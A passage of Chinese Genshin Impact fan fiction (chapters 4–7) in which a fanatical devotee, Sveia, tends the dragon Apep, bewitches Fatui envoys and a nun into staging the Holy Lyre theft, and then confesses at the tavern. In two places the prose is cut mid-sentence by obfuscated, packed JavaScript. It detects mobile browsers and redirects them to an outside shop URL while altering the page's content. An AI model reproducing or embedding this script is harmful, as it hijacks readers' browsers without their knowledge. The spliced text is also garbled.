“你果然是为了我体内的禁忌知识而来。”她翻了个身,将头埋进纤长的躯干间,半是自嘲半是怨恨,“树王忘记了我们的约定。我原以为是诸神卑劣无耻,没想到一切都在天空的算计之内……你在干什么?” 斯威亚头也不抬,蹲在阿佩普垂落的尾巴须旁,手里的刀子一下一下戳得正欢。白刀子进绿刀子出,每一次抽刀都有数不清的元素生命顺着巨龙的伤口噗嗤噗嗤往下掉。 离开“家”的小小生命在落地的瞬间拟态成脑袋尖尖的蕈兽,茫然地看看眼前庞大的“家”,又看看这个灰扑扑的洞穴。 “啵?” 蓝色圆顶的小蕈兽蹦到伤口处,旋转伞盖想要重新钻回去,却被一只属于人类的大手轻轻松松挡在了外面。 “你有病吧?欺负一只蕈兽?” 阿佩普大怒,电光火石之间,巨大的龙身横贯而过,将幼小的元素生命严严实实地护在身后。草之龙不善地审视着眼前装无辜的斯威亚,巨大的龙头低俯下来,竖瞳收紧,一字一顿,“快、滚。” “稍安勿躁,我可是在帮你。只是动作稍微粗暴了一点。阿佩普女士,你也不想让自己变陈家沟神智不清的无知蛮兽吧?”斯威亚收起刀子,脸上的笑意淡了些,平静得简直可怕,“还有个不幸的消息,我的时间不够了。” 难得看到这死人东西没有打哈哈糊弄过去,阿佩普的神经也不由得为之一紧:“……什么意思?” “字面意思。”斯威亚十分冷静,然后趁趁阿佩普脑海里已经开始走马灯般反思最近提瓦特又出了什么大事,他才不紧不慢地补完后半句: “啊,如你所见,我一早被你的好同族高空落泪砸了脑袋,没追上报仇不说,为了把这个宝贵趣事分享给若陀,又浪费了不少时间。而今天下午三点,我预约了欧庇克莱歌剧院的大审判官专审前排席位——” 迎着阿佩普逐渐变得一言难尽的目光,斯威亚沉痛说道:“可是现在,我居然还没有清理完足够的深渊魔物!我的天哪!现在距离审判庭开席只剩三个小时了,我甚至还没来得及预习当庭审理的案件!要是因此阴差阳错没能在那维莱特犯错时揪住他的小辫子,伟大的天空岛之主必定会对我降下无法赦免的制裁!” “额……”阿佩普的思绪出现了短暂的空白。她思索再三,终究是忍着恶心为自己天天在心底唾骂的死敌小小辩解了一句: “我觉得天理应该没那么闲吧?” “你是这样觉得的吗?” 斯威亚的脸突然变得通红,手上的刀子戳阿佩普尾巴须的速度都变快了不少,在后者快要杀人的目光中,斯威亚双手捂脸,害羞道: “原来我平凡而无用的祷告和践行,居然能让伟大神圣的原初在无趣的片刻能够加以调剂吗!啊,谢谢你的鼓励,虽然我处理不了你肚子里的大麻烦,但是尾巴上的小问题就请交给我吧!” 阿佩普确定了。 “你就是纯粹变态。” 4. 第 4 章 在阿佩普这里获得了心灵慰藉和深渊魔物数量的二等分满足后,斯威亚美滋滋离开了她的行宫花园。 徒留精神饱受璀璨的阿佩普,如同一个霜打的茄子般蜷缩趴在那里。 不得不说,对于一位古板切不善阴阳怪气的龙而言,跟斯威亚相处无异于用头接天理的大钉子。 至少天理不会折磨她的精神,阿佩普想。 蕈兽们一蹦一跳地来到她的身前,烦忧的看着她。 自她体内而生的元素生命在脱离名为“家”的血肉龙躯之时,就顺应如今提瓦特的自然规律化作了纯粹的元素生命,以蕈兽的姿态拟态于世间。 理论上,既然无妊娠的漫长过程,也理应不该懂得“家”的珍贵,但这些从温床中离开的活化细胞却生出了亲近的本能,用硕大的伞盖去蹭萎靡不振的“家”。 “卟卟!” 阿佩普愣了一下,随即叹了口气。 可是巨龙太大,巨大的气流把脚边的小家伙们吹得人仰马翻,几个离得远的咕噜咕噜滚进了沙地里,惊慌失措地扑腾着短小的菌柄。阿佩普盘下身躯,用尾巴尖把那些滚远的轻轻扒拉回来,又用前爪拨弄着凑到眼前的几只。 虽然那个变态虔信者让她精神饱受摧残,但万幸的是,他至少还有诚实的美德,真的帮助自己清理了一些污秽。 只是…… 阿佩普若有所思,这样一位有强大实力、对天理的信仰又堪称狂热的信徒,不该让她没有半点印象才对,至少阿蒙他们当年还在时,会向自己提及才是。 是她太久没有关注到外面的世界了吗? 不行,得想个办法…… “卟卟!” 一只蕈兽爬上了她的鼻梁。 阿佩普垂下眼帘,看着那双黑豆一样的小眼睛里倒映出的自己。 啧。 阿佩普盘起身躯,用尾巴轻轻拨弄着身边不知所措的小家伙们,任由那只胆大的在她头顶蹦跶。 属于她的时代早已落幕,就算天要塌下来,最先砸的也该是那夺取高天之人。 至于斯威亚口中的审判……阿佩普曾经听闻,新生的水龙王不光是以人形态诞生,甚至成为了水神国度一人之下的高官。 龙族是一种能快速适应环境的元素生物,而元素龙王更是其中的顶点。 或许,水龙王以人形的姿态重新降临于世,也是龙族荣光不再的一个有力印证。 阿佩普的伤春悲秋穿不过满天的黄沙,而一直碎碎叨叨要去枫丹参加庭审的斯威亚终究还是逃不过墨菲定律。 “等等等等——” 斯威亚的手颤抖地握着打开的怀表,时针已经指到了月亮,抬头看,,傍晚六点就出来逛街的星星正一闪一闪,嘲笑此人错过了一切还不自知。 这、这不对吧? 他确实在南天门那里浪费了点时间,但是戳阿佩普病变细胞的时候可是卡着秒表在干活啊!难道这个世界已经卷到了他需要精确到秒才能打卡完所有任务的地步了吗? 开什么玩笑! 大世界不能水温这么高的!你应该先提升纳塔的深渊污染,然后天空岛降下神谕。然后再解决问题的路上,路过哪个国家哪个国家就发生点什么大事件,然之后在关键时刻神明出场,发现危机近在咫尺。最后在某个无比重要的坑人事件中,让伟大的法涅斯大王降临地上,对我说我就是全提瓦特最虔诚的信徒,并且同意我跟跟伟大的法涅斯大王作战,然后击退深渊和尼伯龙根余孽,然后受到所有人类和尘世七执政的羡慕啊! 你怎么直接开始跳过时间了?我不接受! 斯威亚的无能狂怒没能阻止怀表的指针继续大跨步奔走向前。悲愤交加之下,他只能传送回蒙德城的城墙上,阴沉着一副脸。 天已经全黑,星星点缀着天空,夜风微凉,斯威亚抬起头,他敢对伟大的法涅斯大王用自己的性命和全部的信仰发誓,一定是有哪个坏东西偷偷调了提瓦特的时间! 他的目光扫过城墙,落在不远处正在跟柳德米拉吐槽邻居的米哈伊尔身上。 斯威亚面色铁青,把手搭在倒霉蛋的肩膀上。 “晚上好,好邻居。” 他竭力控制自己不露出更加难看的表情,硬生生扬起一个和善的微笑。 月光打在他的侧脸上,那笑容看着比哭还瘆人。 “如你所见,我的时间好像出了一点小小的问题,如果你能够确认时间的话,方便告诉我,现在是几点吗?” 米哈伊尔下意识想挣脱,却惊骇的发现,这个神经质的酒保邻居居然手劲大得惊人,那五指像是铁钳一样死死扣在他的肩胛骨上。 柳德米拉见势不妙,立刻上前试图分开二人,威胁道:“公然袭击愚人众使节,你在干什么?” 斯威亚没理她。 “回答我的问题。”他的眼睛直勾勾地盯着米哈伊尔,手上的力道又加重了几分,浑身都在颤抖,一字一顿地问:“现在是几点?” 米哈伊尔疼得脸都白了,结结巴巴地回答:“八、八点四十五。” “原来如此。” 斯威亚松手,陡然失重的米哈伊尔一屁股跌坐在地,大口喘着气。 斯威亚脸上重新挂起饱含歉意的笑容,深深鞠了一躬,双手合十: “原来如此,离九点还有十五分钟,到我的上班时间了。” 斯威亚松了手,脸上重新挂起包含歉意的笑容,他深深鞠了一躬,对着惊魂未定的二人解释道:“抱歉抱歉,今晚上是我当班,实在是不好意思,有空的话请务必来天使的馈赠喝两杯,我请客。” “不、不必了。”米哈伊尔惊恐地咽了几口唾沫,结结巴巴道:“你快去吧,别迟到了。” “感谢你的祝福,亲爱的邻居。”斯威亚礼貌回赠,“我将同样为你的命运祈祷,直至陈旧命运的音符被编入崭新的乐章,请务必相信,我所见证的颂歌决不会抛下一个灵魂。” 说完,斯威亚抬头仰望漆黑的天空,在两个愚人众使节有如看待疯子的眼神下,留下热泪: “啊,至高的主宰,既然得以让我窥见您对节点的调拨,那这一定是您的垂怜!请原谅你仆从的愚钝,我不知我该惩戒谁、我该考验谁、我该帮助谁,为我降下更明了的指示吧!” 柳德米拉一把抓住米哈伊尔的手,压低声音说:“真是个渎神的疯子!” 她刚转身要走,一只手搭上了她的肩膀,另一只手搭上了米哈伊尔的肩膀。 “唔,虽然我无意指责至冬的教育,但……不得不说,巴巴托斯的容忍让邻邦的使节失去了他们应有的仪态,真是令我这个同为信徒的存在而感到不安。” 斯威亚的双手搭上柳德米拉和米哈伊尔的肩膀,他紧紧盯着柳德米拉吃痛的面容,轻声说道: “渎神是对‘他们’的攻讦,而我认为,人类应当视处于一个族群的存在为‘我们’。即,在蒙德我们都是蒙德人,在至冬则都是至冬人。若是你在蒙德还用着至冬人的行为模式活着,那么你既分不清‘我们’,也分不清‘他们’。” 他的视线在两 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“但如果有人帮你们制造混乱呢?”斯威亚眯起眼睛,笑得格外真诚,“比如,一场暴乱、一次针对城墙守卫的袭击?” 米哈伊尔机械的点点头。 “愚人众的士兵需要兵分两路,一路去袭击驻守城墙的西风骑士团,一路偷偷潜入。”斯威亚拍了拍两人的肩膀,像长官勉励下属那样语重心长,“不要袭击骑士,只是袭击城墙,只要没出人命,万一东窗事发,你们那位巧舌如簧的外交官也能推卸责任,也只会查到那些可疑的家伙头上,跟愚人众有什么关系?” “至于借口——”斯威亚退后一步,摊开双手,“蒙德人本来就对你们没什么好脸色,随便找个理由搪塞过去就行了。‘危险物品需要暂时保管’、‘保护蒙德城的安全’——反正说真的也没人信,说假的又有何妨?” 米哈伊尔和柳德米拉同时颔首:“……是。” “去吧,去吧,去争夺土地,去汇拢‘自己人’,对抗‘他们’。” 斯威亚后退一步,双手合十,真诚地祝愿: “斯威亚永远站在自己人,也就是‘我们’这边。” 银光从他指尖彻底消散,他也消失了。 米哈伊尔和柳德米拉同时打了个激灵,像是从短暂的失神中醒来。眼前是一片空地,他们对视一眼,眼中闪过同样坚定的光芒—— “走。”米哈伊尔低声说,“去找人。” “嗯。”柳德米拉重重点头,“今晚必须动手。” 两人匆匆消失在夜色中。 斯威亚站在树上,目送他们的背影隐入街角,这才心满意足地掸了掸袖口上并不存在的灰尘,他抬头看向夜空,星星依旧一闪一闪,但他此刻却分外的喜悦。 “愿您宽恕我之亵渎,愿你宽恕我之僭越。考验理应为神明的特权,可我无法接受无知者的狂妄与嘈杂,更难以接受顺序的紊乱。七重灾厄之主、原初之正理啊,若您认为考验凡人实为我之愚行,还请让您的使者制止我的谬误,若您认为我做的分毫不差,还请继续视我如虫豸。” 他没有走向自己接下来应当前往的天使的馈赠,而是走向西风教堂。 离上班还有十分钟,那他也应给予蒙德五分钟。 既然是践行神的意志,那自然应当允以平等的信源,他将在自己自由的时间内,让他们也有足够的时间调拨足够的…… 蒙德人。 5. 第 5 章 歌特琳德心事重重地走在回家的路上。 蒙德的夜风本该带着蒲公英酒的清香,可此刻却像掺了碎冰,刮得她太阳穴突突直跳。 西风骑士团与愚人众的谈判又一次不欢而散,而下午,那位吟游诗人和白天解决了风魔龙危机的旅者就一前一后前来索要天空之琴。 明明是两件看起来毫无关联的事情,但不知为何,歌特琳德却总觉得哪里有些不太对劲,就像拼图缺了最关键的一块,明明所有碎片都在手边,却怎么也拼不出完整的图案。 这种感觉让她格外不安,仿佛有什么事情在暗处发展,而她却浑然不知。 “晚上好,慈爱的歌特琳德修女。” 一道清亮的声音打断了歌特琳德的思考,被叫住名字的修女猛地回头,看到来人身份之后,紧绷的肩膀松了下来。 “夜安,斯威亚先生。” 斯威亚微微欠身,这位异乡的酒保有着蒙德人少有的矜持礼节。此刻他站在路灯的光晕里,眉目温和得不像话,活像一尊被月光浸透的石膏像。 “您看上去很是不安。”他率先开口,语气里带着恰到好处的歉意,“请原谅我无礼的窥视和武断的臆测——您是否在担忧什么?” 歌特琳德揉了揉太阳穴。 她本不该和外人谈论这些,但斯威亚那双眼睛太过诚恳,诚恳得让她觉得拒绝才是失礼。 “愿风神庇佑你。”歌特琳德叹了口气,吐露了心声:“那背离东风的愚兽仍在蒙德肆虐,城内人心惶惶……今天甚至连荣誉骑士和那个诗人都来借天空之琴,还说什么想要召唤风魔龙,真是荒谬。” “稍安勿躁……哦,愿来世这样,外来的旅者成为了荣誉骑士,原来如此。” 斯威亚的声音像温好的牛奶:“当然,我自然同样认为,只要代理团长下定决心,那魔龙绝非不可讨伐。只是——” 他顿了顿,怀有歉意地笑了笑:“抱歉,我毕竟只是一介外来的酒保,万万不敢在关乎蒙德安危的事情上置喙。” “不要紧,”歌特琳德摇头,“你的善良与热情,整个蒙德城都有目共睹。自由的国度绝不会管制其治下子民的谈论。如您知道什么,还请不要吝于向‘我们’分享。” “明白。”斯威亚的笑容深了些,“我为西风教会有您这样宽厚尽职的修女而喜悦,更为你认可‘我们’共为一体而喜悦——” 歌特琳德陡然对视上那双眼睛。 路灯似乎暗了一瞬,又或者只是她的错觉。 在对视的那一瞬,她感到似乎整个世界都不真实起来,那双眼睛温和有礼的眼睛此时也像蒙了一层薄雾,看不真切。 “对今日之事仍心事重重的修女始终无法安心,可就在返回西风教会查看天空之琴的路上,她发现,愚人众偷偷潜入城防,试图里应外合掀翻蒙德的统治。发现至冬阴谋的修女赶往西风骑士团,向代理团长寻求帮助——” 那声音轻柔得像哄孩子入睡。 “——快去报告琴团长吧,这可是‘我们’赶走‘他们’的大好时机。” “……去找琴团长……” 歌特琳德转身,步伐僵硬地朝骑士团方向走去。 斯威亚站在原地,目送她的背影消失在街角,然后转身朝“天使的馈赠”走去。步伐轻快得像踩在云上。 他推开酒馆的门。 门铃叮当作响,暖黄的灯光和麦芽香气扑面而来。吧台后面,查尔斯正用一块白得发亮的布擦拭酒杯,听见门响头也不抬:“迟到五分钟。” 他露出一个人畜无害的笑容,朝着吧台后面正在擦杯子的查尔斯挥了挥手: “晚上好呀,老板。不好意思来晚了,路上遇到点小麻烦——” 他回头看了一眼门外,夜色正浓,笑意更深。 “不过现在已经解决了。” 查尔斯狐疑地瞥了他一眼,没多问,只是朝身后的酒架努了努嘴:“今晚的杯子归你洗。” “没问题。” 斯威亚系上围裙,拿起抹布,心情愉悦地擦起酒杯。 门外,月光依旧静静地洒在蒙德城的石板路上,今夜注定是个不眠之夜——至少对某些即将去西风大教堂碰运气的人们,和西风骑士团来说,是这样。 而斯威亚擦着杯子,开始思考明天的早餐。 今天存在两个一个计划外的事项,或许他可以多煎一个完美的太阳蛋?金黄澄亮,蛋黄饱满得像小太阳,配上刚烤好的松饼—— 以及,希望亲爱的柳德米拉以后能牢记,在实力不济的情况下,不要在当事人面前蛐蛐人家。 他一边思考,一边兢兢业业地擦着杯子。“天使的馈赠”在整个七国都小有名气,更别说蒙德人有事没事就爱来两杯,哪怕是礼拜日也不曾少过客人。 可因为闹龙灾,今天连要洗的杯子都肉眼可见地少了许多。 “斯威亚,你去后面盘一下库存。”查尔斯递过来一张表格,脑袋朝门口昂了昂。 斯威亚顺着他的示意看过去,瞥见一抹红色的身影——迪卢克先生,酒馆真正的老板。 他顿时了然。 查尔斯是个好人,自从上次大老板隐晦地表达了一下对斯威亚精神状态的“关切”后,查尔斯就尽量避免他被大老板看见。 其实真的没必要。他精神状态好得很呢!每天12点下班后就能精神十足的在凌晨四点起来祷告—— 斯威亚暗下决心,下次一定要趁查尔斯不在酒馆时,好好向这位据说对巴巴托斯和西风骑士团都不甚感兴趣的酒庄老板宣扬伟大的法涅斯大王! 斯威亚接过表格,推开后厨的门。 刹那间,外面灯火通明,嘈杂声穿透门板刺进来: “有人偷走了天空之琴!” “快追!他们有两个人!” 盔甲碰撞的声音、脚步声、呼喊声混成一团。 斯威亚赶紧关上门,门板隔绝了大部分噪音,只剩下闷闷的嗡嗡声,好比一群蜜蜂在罐子里撞来撞去。 愚人众偷走了天空之琴? 这就是最终的结果吗? 斯威亚浑身上下都在发抖,上下齿摩挲发出惊悚的酸声,连他自己都不知道现在是何种心情。胸口像是有什么东西在膨胀,撑得肋骨发疼,又痒得他想笑。 他攥紧了手里的表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374981|200052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格。纸张被捏出褶皱,发出细微的哀鸣。 他闭上眼睛,深深吸了口气。 蒙德城的空气从门缝里渗进来,夹杂着酒香、灰尘、火把的烟味,和一丝若有若无的、即将被搅乱的命运的腥甜。 伟大的、法涅斯大王啊。 难道信仰浓厚的原住民们总是无法击溃蔑视神之外邦蛮族吗? 这便是命中注定吗? 斯威亚此刻竟然无比后悔,没有在规则的天秤上动些手脚,没有多给西风骑士团开一些后门。 他真傻,真的。斯威亚闭上眼,他单知道那愚人众使节有一大半只会玩弄话术的文官,却忘了留守本部的西风骑士团也是老弱病残占主力。 他应该提前去一趟教堂把那些神秘紫色养蚊子女和会隐身的跑圈收债男先揍一顿的。 怀着巨大的悲痛,斯威亚闭上眼睛在心中默念: 伟大的法涅斯大王啊,若您认为以不敬之人的性命重塑您的威严实为善举,若您认为我在内心偏向已经视我为“我们”的蒙德并非罪不可赦,请您号伊斯塔露的千风,告诉我,我所开启的考验,是否还有扭转乾坤的机会—— 刹那间,狂风四起,形成风场。 门外的喧嚣被风声吞没,隐约能听见骑士们的惊呼。 斯威亚兴奋抬头,一个金色的身影和绿色的身影快速向天使的馈赠飞过来,他隐藏住身形,两个身影落地,竟然是早上看到的三人——温迪,旅行者,和派蒙。 这,这就是神启! 斯威亚近乎于热泪盈眶—— 感谢伟大的法涅斯大王!感谢您珍贵的启示!我一定会弥补由我亲手犯下的失误! 斯威亚盯着三人进入天使的馈赠的阴影,毫不犹豫从二楼的窗户直接翻了进去。 “这次风灾的影响果然很大。” 一进屋子,斯威亚就听到老板的声音,看来他们是盘完账了。显然,账目的情况不怎么美妙——特瓦林这条龙的罪行,真是罄竹难书! 斯威亚在心底暗暗发誓,等处理完自己刚刚亲手犯下的错误,他一定要坚持每天去找若陀和阿佩普宣扬此龙的任性! 他那友善的好上司查尔斯也是愁眉不展,连声叹气:“希望这段时间早点过去吧。” 这口气还没叹完,正巧,风尘仆仆的三人打开门,为首的吟游诗人打了个招呼,热情道:“老板,我们想要一个稍微隐蔽点的地方。” “要说隐蔽,二楼人少,不过……”迪卢克抬头扫了一眼,“你不是吟游诗人吗?不如选个热闹的位置。” “哈哈,收费演出就等着下次吧,我们先上去了——” 温迪领着旅行者和派蒙,斯威亚赶紧跳下窗户,拍了拍身上的灰尘,刚抬起头,就正巧与上楼的温迪对上了视线,后者摆摆手: “正好啊,斯威亚,我来领我的酒了。” 斯威亚把窗户关严,把他们拉到阴影里,竖起食指抵在唇边,刚刚得到了法大王的回应,此人的心里美滋滋的,但还是立马回到了工作状态: “嘘,先别说话,今天老板查账,等会我找准时机,给你们摸两瓶上好的苹果酒出来。” 6. 第 6 章 温迪的笑容凝固在脸上。 他凑近压低声音,绿色的眸子里闪烁着促狭的光。 “你这就有点不厚道了吧?五折可是你自己早上亲口开的内部折扣,怎么小手还不干净,还要去迪卢克老板那里摸两瓶?要付钱直接划拉你的工资不就行了。” 但斯威亚表情庄重得仿佛正在解读神谕,义正言辞,坚决否认了温迪的主意。 “不行,我刚刚才祷告完。如果我拿钱财交换物品赠与你们,就相当于向你们供奉了!让我向除了法大王以外的其他人供奉?我不接受!” 斯威亚顿了顿,又神神秘秘凑近。 “放心好了,我早有准备。办法很简单,只要我当着查尔斯面前偷酒,他就会直接在我的工资表上扣掉酒费。这样,就不算是我供奉你们了。坐着别动,我现在就去给你们拿。” 他比了个“嘘”的手势,眼睛亮得惊人,兴奋地补充:“说起来,我还要谢谢你们的到来呢!狂风回应了我的愿望,而你们顺着风而来,我想,这一定是伟大的高天对如我愚钝之人的启示!作为回应我期待的人们啊,放心敞开喝吧! 斯威亚说完就转身,那架势不知道的人还以为是要去执行什么神圣使命。 “不是,你这家伙的脑回路真的好奇怪啊!” 派蒙急得在空中直跺脚:“反正本质上都是你在付钱不是吗!为什么要纠结这种奇怪的地方啊!” “派蒙有所不知,所谓一仆不侍二主,好信徒不侍奉二神。” 斯威亚脚步一顿,扭头严肃道:“我所得的钱财,皆是那高天之主宰的赏赐;我能遇见你们,则是祂降下的神启。所以,明明是因祂而得的幸运,怎能越俎代庖,反倒向你们供奉?这未免太过僭越!可是大不敬!” 他说到最后,语气里已经带上了几分痛心疾首,仿佛派蒙的提议是对他信仰的亵渎。 温迪挡在旅行者和派蒙面前,隔开了斯威亚那过于灼热的视线,打着哈哈:“抱歉抱歉,还请别太在意,他们初来乍到,还不太了解你的虔诚,放心,我们都觉得你是最最虔诚的信徒了,你的神明一定会注视着你的!” 斯威亚听完眼睛立马亮了八度,火速卸下那股莫名的攻击性,拍着胸脯保证:“请稍等,我马上回来! 话音刚落,人已经消失在楼梯口,只留下一串急促的脚步声。 派蒙小脸上写满难以置信:“所以这家伙到底是个什么情况啊!真是个怪家伙!” “别介意别介意,”温迪笑着安慰,翠绿的眼睛弯成月牙,“斯威亚就是这样的,他对待信仰的方式很特别,哪怕在蒙德都显得相当格格不入。最开始的时候,还闹了不少乌龙呢。” 他顿了顿,语气里多了几分认真:“不过,别看着斯威亚整天都神神叨叨的,他可是一个相当可靠的人哦!” “欸?”派蒙扭头向旅行者寻求认同,“完全感觉不出来,对吧?” 旅行者却若有所思,压低声音:“刚刚降落的时候,我好像在外面看到了斯威亚。” 派蒙表情瞬间僵住,小脸煞白:“你是说,他可能知道是我们……偷走了天空之琴?” 夜风从窗户缝隙钻进来,吹得烛火轻轻摇晃,温迪却俏皮地眨了眨眼:“放心,虽然暂时没办法解释,但斯威亚是不会管这些的,放宽心好了。等会儿无论他拿什么好吃的过来,记得多吃点就是。” 在此时,楼下传来西风骑士的声音,今天来喝酒的客人不多,因此楼上也能听得很清楚。 “迪卢克老爷,您看到那两个小偷了吗?” 旅行者和派蒙对视一眼,屏住呼吸。 “发生了什么?出动了这么多人。” “您听说了吗?有两个小偷打了天空之琴的主意——这可是风神他老人家弹过的宝贵文化遗产!还有就是……” 那个骑士的声音压低了些,但楼上依旧能大致听清: “一位修女提供了非常有价值的消息。具体的我不能透露太多。总之,天空之琴被盗走,似乎跟愚人众有关。” 派蒙瞪大了眼睛,捂住嘴巴。 “愚人众吗……”迪卢克若有所思,“他们要天空之琴做什么?” “这就不是我们能知道的事情了。所以迪卢克老爷,如果您有看到任何可疑的人,欢迎随时向骑士团举报。” 片刻后,迪卢克微微张口,正要说什么—— “如果是你指的是一黄一绿的两个身影,他们应该是往城墙边走了哦。”斯威亚端着几杯酒走出来,提醒道,“如果要去那边的话,最好是多带几个人,时间太晚了,大家的精神都容易有些松懈,不是吗?” 两名骑士对视一眼,其中一人道:“谢谢你,斯威亚先生。” “斯威亚。”查尔斯不悦地看着他,似乎在责怪他没有一点眼力见,胡乱说话。 “没关系查尔斯,”迪卢克瞥了他一眼,看向楼上,“西风骑士团一时半会应该不会在来了,我想,你们该好好解释一下‘小偷’的事情——还有你,斯威亚,先把酒给我放下。” 斯威亚回道:“老板,他们的账从我工资上划拉就行!” “不是钱的问题,唉,你真的就没有一点除开祷告之外的常识吗?”迪卢克扶额,看上去已经不想再和他沟通,“这三个人怎么看都不像是成年人吧?” 斯威亚惊奇:“难道喝酒还要看年龄的吗?那不是只要觉得渴了冷了就能喝的水吗?” “那是违法的。”迪卢克双手环胸,面无表情,声音里没有半点商量的余地,“把酒给我放下。不管你原先是从哪个狂放到可以给未成年喝酒的地方来的——总之,蒙德的规矩就是不能给未成年人点酒。记清楚了,我可不想被西风骑士团查到我的地盘有这样不守规矩的行为。” “是!老板!” 斯威亚立正站好,把温迪早已望眼欲穿的酒统统塞进后面的柜台,换成了加冰的葡萄汁,晶莹的冰块在灯光下泛着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374982|200052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微光,反射出吟游诗人可怜巴巴的委屈表情。 “抱歉啦,在蒙德就要按蒙德的规矩。”斯威亚对着温迪挤眉弄眼,压低声音,小声说道:“先委屈一下,下次我换个地方请你们喝酒。” 温迪看着那些远去的酒瓶,眼神里写满了不舍:“诶,无须在意,我能喝酒的时候你还在——” 看着旅行者和派蒙明显有一肚子的问题要问,温迪的话打了个圈,直接转折:“我猜你们想问‘这是谁'',这位迪卢克先生,就是这家酒馆背后的大老板呢!” 迪卢克已经先开口:“言归正传,真的是你们偷了天空之琴,还跟愚人众有勾连?” “不是我们啦,”派蒙急得直摆手“明明是愚人众他们夺走了天空之琴,我们可是什么都不知道。” “这位可是荣誉骑士,西风骑士团的当红新人。” 温迪不知什么时候已经坐上了吧台,顺手把斯威亚刚刚放进去的蒲公英酒又拿了出来,还非常懂享受地给自己加了两块冰,动作行云流水。 “这样的人怎么会做出勾结愚人众的事情呢?你说对吧,斯威亚?” 他晃了晃酒杯,冰块碰撞发出清脆的声响,一手举着就被,另一只收托住脸颊,翠绿的眼睛似笑非笑地看向斯威亚: “说起来也是奇怪——愚人众怎么会挑在今天动手?又恰好在上午刚刚被琴团长拒绝让出城防、杀死风魔龙的建议后,决定兵分两路袭击骑士团?” 温迪凑近了些,看着斯威亚的眼睛:“这样做,不就是相当于明摆着告诉大家,就是愚人众干的吗?” “你说——”温迪的尾音上扬,“不会是有人在中间挑拨离间吧?” “对啊,我就是那个因为被时间玩弄了感官,以至于愤怒到去挑拨离间之人。就是我让愚人众今晚上去偷琴和袭击城防的。” 斯威亚回答得抑扬顿挫,然后坦言:“不过,考虑到如今骑士团的兵力,我有让他们避开骑士团才是。” 他顿了顿,又补充道: “如果需要天空之琴,明天我就帮你们拿过来。虽然本意是想给至冬的子民一点教训,但是我计算均衡战力的时候忘记大团长带走的人太多,而蒙德长久的和平也让残留的骑士懈怠了警惕。不过没关系,我所遵从的神已经降下启示,号令我可以在此次事件中偏袒蒙德,啊!赞颂伟大而又仁慈的法涅斯大王!” “太感谢你了!”温迪拍手鼓掌,然后举起酒杯,“只要能拿到天空之琴,我就有办法唤来特瓦林了!” “咳咳,那个,温迪先生,还请不要太当真。”查尔斯叹了口气,满是见怪不怪的无奈,然后扭头对斯威亚说道: “斯威亚,你的妄想症好像越来越严重了……你要不还是先回去歇会吧,我之前早就跟你说过,下了夜班白天就多睡会,我不止一次听守门的劳伦斯他们说,你哪怕晚上12点下班,早上四点钟都要出城。睡眠不足不光会影响精神状态,还会影响寿命的。” 7. 第 7 章 “抱歉,见笑了。” 迪卢克也叹了口气,那表情和查尔斯的几乎如出一辙。 他向旅行者和派蒙解释,语气里带着几分微妙的复杂:“斯威亚他精神有些不太正常,总是容易臆想一些不存在的东西。但他没什么坏心眼,希望你们能够多包涵一下。” 他顿了顿,目光落在斯威亚身上,那目光里有一丝不易察觉的温暖: “初来乍到的异乡人,独自漂泊在外,又身无分文。能保持这样乐天派的性格,或许也正是他脑子里那些不切实际的幻想,给予了他好好对待生活的支撑吧。” 斯威亚却一脸认真地反驳:“不,老板,你想多了,这次还真是我的错。” 他掰着手指头,真像是在做自我检讨。 “我错误估计了留守的西风骑士团的真实实力。没想到远征军离开蒙德后,西风骑士团只剩下了一群看着就不甚靠谱的老弱病残,靠谱的分身乏术——” 斯威亚抬起头,目光灼灼:“不过没关系,我已得到伟大高天主宰的许可,我会帮你们。” “……中间有句话我倒是特别赞同。” 迪卢克没有接他的话,目光转向旅行者: “西风骑士团现在的确无力得让人失望。不管是对待风魔龙还是愚人众使节,总是犹豫不决,拖拖拉拉……” 他话锋一转,眸光锐利:“不过你们确定,天空之琴能够解决龙灾问题?” “当然。” 温迪简单用诗歌科普了一下特瓦林深受深渊荼毒、以及天空之琴在其中能发挥作用的原因。 “说白了就是让特瓦林以为是巴巴托斯来了,让这想念神到开始胡乱砸东西的任性龙冷静一点。” 斯威亚像是突然想起来什么,指着自己脑袋,“我今天混乱的作息就是始于在果酒湖边上散步被他的眼泪砸伤了,如果巴巴托斯显灵,我一定要找他索要赔偿。” “特瓦林才没那么任性——” “如果你是凌晨四点多去的果酒湖……”迪卢克瞥斯威亚一眼,没好气道,“那特瓦林也算是做了一件好事。” “冤枉啊老板,”斯威亚控诉,“少说都得五六点了吧!那条龙的眼泪——有那么大!” “……总而言之,对于蒙德城,我不认可西风骑士团的某些作为。” 迪卢克没有搭理斯威亚的控诉,目光落在旅行者身上,那红色的眸子里有某种深沉的东西在涌动,“但是我对这座城市也有自己的期许。” 他顿了顿:“如果你们是为了解决这座城市的龙灾……异乡的旅行者,我会协助你们。不过在这之前,给我点时间,我需要去联络一些人。明天晚上12点,天使的馈赠打烊后见。” 说完,迪卢克直接转身离开。 查尔斯看了眼站得笔直的斯威亚,叹了口气,摆了摆手:“算了算了,收拾东西回去休息吧,又是龙灾又是天空之琴被盗,今天晚上估计也没什么客人了。” “谢谢老大,我必定永远铭记你的帮助!”斯威亚火速收拾好东西,示意旅行者他们跟着自己到后厨的暗门。 